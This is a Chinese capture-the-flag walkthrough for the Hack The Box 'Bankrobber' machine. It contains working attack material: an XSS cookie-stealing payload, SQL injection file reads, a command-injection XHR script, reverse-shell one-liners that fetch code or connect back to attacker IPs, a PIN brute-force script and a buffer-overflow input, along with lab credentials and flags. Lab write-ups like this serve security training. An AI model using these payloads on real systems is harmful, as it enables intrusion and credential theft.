hackthebox Bankrobber通关攻略

这个靶机比较难,要求掌握的技能有:XSS、通过SQL注入读取文件、命令注入、缓冲区溢出

以本地xhr方式执行POST请求等。下面详细说明怎样拿flag。

nmap扫描开了80、443、445、3306端口,gobuster枚举发现了/admin、/phpmyadmin等目录

枚举smb,没发现共享目录

crackmapexec smb 10.129.228.109

——存在XSS攻击

用户注册进去,将看到E-coin转账页面

从上述信息提示看出:admin有在批准前查看交易的权限,可能存在XSS攻击。

写入comment=<img src=http://10.10.14.24/x.jpg />,然后监听端口可看到连接信息,印证了存在XSS攻击。

——用XSS截获admin的cookie

然后利用该payload获取cookie

<img src=x onerror=this.src="http://10.10.14.24/?cookie="+btoa(document.cookie) />

注:上述payload要进行URL编码

注:不是马上有连接信息,需要等待2-3分钟。

将获得的cookie解码

echo dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ== |base64 -d

admin  Hopelessromantic

以该账号信息登录

管理员的页面如下

——在Search users发现SQL注入

1、先判断是字符型还是数字型

1'   出错

1'# 正确

注:另一种注释的方法-- -1’-- -

说明为字符型

2、用order by试出来查询了几个字段

1' order by 3#   正确

1' order by 4#   出错

说明查询了3个字段

3、union联合查询

-1' union select 1,2,3#

显示了第1,2个字段的信息


通过枚举数据库、表、列,从users表获取如下信息

1:admin:Hopelessromantic

2:gio:gio

3:test:123456

这些信息对我们没什么帮助,因为已经获得了admin的密码。


或者,用sqlmap进行批量操作

将存在有SQL注入的网页保存为search.req,右键选择Copy to file。

sqlmap -r search.req --dbms mysql --technique=U--dump --batch

注:--technique有6种取值

B: Boolean-based blind

E: Error-based

U: Union query-based

S: Stacked queries

T: Time-based blind

Q: Inline queries

缺省用的technique为BEUSTQ

也可用sqlmap枚举数据库的用户

sqlmap -r search.req --dbms mysql--technique=U--users

枚举数据库用户的密码

sqlmap -r search.req --dbms mysql--technique=U--passwords

获取数据目录

term=-1'+union+select+1,@@datadir,3#

backdoorchecker处大概率有命令执行漏洞。我们知道XAMPP缺省的web目录为c:\xampp\htdocs,尝试读取admin下的backdoorchecker.php源码。

term=-1'+union+select+1,LOAD_FILE('c:/xampp/htdocs/admin/backdoorchecker.php'),3#

backdoorchecker.php源码如下:Linux只能执行ls,windows下只能执行dir;输入的命令里不能带$(或&(可以用|或||);且只能在本地执行命令,即该php只能在本地运行。

从源码可知,调用了../link.php和auth.php。同样的道理,获取link.php源码

获得了连接MySQL的账号信息

root  Welkom1!


——命令执行

编译一个xhr文档script.js

var xhr = new XMLHttpRequest();

var url ="http://localhost/admin/backdoorchecker.php";

var params = "cmd=dir | ping -n 1 10.10.14.24";

xhr.open("POST", url);

xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');

xhr.withCredentials = true;

xhr.send(params);

然后,利用之前有XSS的页面,请求script.js脚本

<script src=http://10.10.14.24/script.js></script>

开启web服务器,监听tun0接口的icmp数据包,等待2-3分钟,看到了ICMP数据包

成功绕过了backdoorchecker.php中的3个限制条件。


——方法一:通过命令执行获得反向连接(执行反向连接的powershell脚本)

将shell.js中的命令改为

var params = "cmd=dir |powershell -exec bypass -f \\\\10.10.14.24\\share\\rev.ps1";

或者

var params = "cmd=dir |powershell iex(new-object  net.webclient).downloadstring(‘http://10.10.14.24/rev.ps1’)";

将Invoke-PowerShellTcp.ps1拷贝为rev.ps1

cp /opt/powershell/Invoke-PowerShellTcp.ps1 ./rev.ps1

将rev.ps1的最后一行修改为

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.24 -Port 9001

开启smbserver

impacket-smbserver share $(pwd) -smb2support

发送含有XSS攻击的web请求

开启web服务器,nc监听端口9001,获得反向连接

python3 -m http.server 80

nc -lvnp 9001

从smbserver处获得Cortin的hash

Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:bbc76653869b3e404339d5e604c04e17:01010000000000008036……

1、提交用户标志

18bd1a7be1fbea357e741bf14af0b530

——方法二:通过命令执行获得反向连接(执行nc.exe)

将script.js中的命令改为

var params = "cmd=dir | \\\\10.10.14.32\\share\\nc.exe 10.10.14.32 3333 -e cmd.exe";

同理,开启smbserver、web服务器、监听端口、执行web请求

impacket-smbserver share $(pwd) -smb2support

python3 -m http.server 80

nc -lvnp 3333

——提权到root

查看开放的网络接口,发现910比较可疑。

netstat -anop TCP

或者

netstat -ano | findstr LISTEN

端口910附属的进程号为1644,查看1644对应的运行程序为bankv2.exe

tasklist /v

在windows下将网络共享映射为盘符Z:

net use Z: \\10.10.14.32\share

利用chisel开隧道,将910端口引到本地。

在Kali Linux上开启chisel服务器

./chisel_1.9.0_linux_amd64 server --port 5555 --reverse

在目标机上用chisel进行连接,创建一个tunnel

.\chisel.exe client 10.10.14.32:5555R:910:127.0.0.1:910

过一段时间,tunnel就建立好了。此时,运行下面的命令进行查看,发现多了910端口

ss -tulpn

注:如果将命令写成

.\chisel.exe client 10.10.14.32:5555R:9100:127.0.0.1:910

我们之后就需要连接9100端口了(nc localhost 9100


本地连接910端口

nc localhost 910

要求输入4位PIN以进行鉴权

写python脚本brute.py,暴力破解得到正确的4位PIN码。

Kali Linux需要安装pwntools。

pip3 install pwntools

from pwn import *

for i in range(0,9999):

       pin= str(i)

       code= pin.zfill(4)

       r= remote("localhost", 910)

       r.recvuntil("[$]")

       r.sendline(code)

       response= r.recvline()

       r.close()

       ifb"Access denied" not in response:

              print(code)

              break

执行brute.py

python brute.py

获知正确的4位PIN码为0021。输入PIN码后,要求输入数量。显示执行C:\Users\admin\Documents\transfer.exe

尝试在输入数量的地方输入超长字符串,判断可能存在缓冲区溢出。

生成100个模式化字符。显示执行命令从0Ab1Ab2开始。

msf-pattern_create -l 100

查询0Ab1字符所在的offset为32

msf-pattern_offset -q 0Ab1

用下面语句生成32个字符A

python -c 'print("A"*32)'

从Kali Linux上拷贝nc.exe到C:\Users\Public,然后再执行nc localhost 910

输入0021后,再输入

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Public\nc.exe

10.10.14.32 4444 -e cmd.exe

将执行C:\Users\Public\nc.exe 10.10.14.32 4444 -e cmd.exe


2、提交root标记

b4e99e1dbab1ebce7b549590c5c824dd

附注:获得提权后(之前以Cortin身份无法拷贝,权限不够),将C:\下的bankv2.exe下载下来逆向分析。

copy c:\bankv2.exe z:

逆向分析bankv2.exe

1、将输入与0021进行比较

2、strcpy时没有控制输入的长度,直接将输入内容拷贝到destination,造成缓冲区溢出

3、从destination和v24的定义看出,destination长度为32,溢出的内容自然分给了紧挨着的变量v24。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 好久没做htb的靶机,这次又跟着着大佬的思路去做了一台新的靶机。不同以往的是,这次的靶机Sniper是window...
    byc_404阅读 6,046评论 1 3
  • 来源:By:xiaopiao 1、Juniper(瞻博)防火墙的默认账号密码为:netscreen/netscre...
    小向资源网阅读 3,808评论 0 1
  • 旨在解决渗透测试中遇到的各种疑难问题### 测试目标分类:WEB,APP,PC,SERVER等APP:1.利用抓包...
    曾经那个少年_阅读 7,036评论 1 0
  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 11,218评论 0 10
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 10,428评论 0 9

友情链接更多精彩内容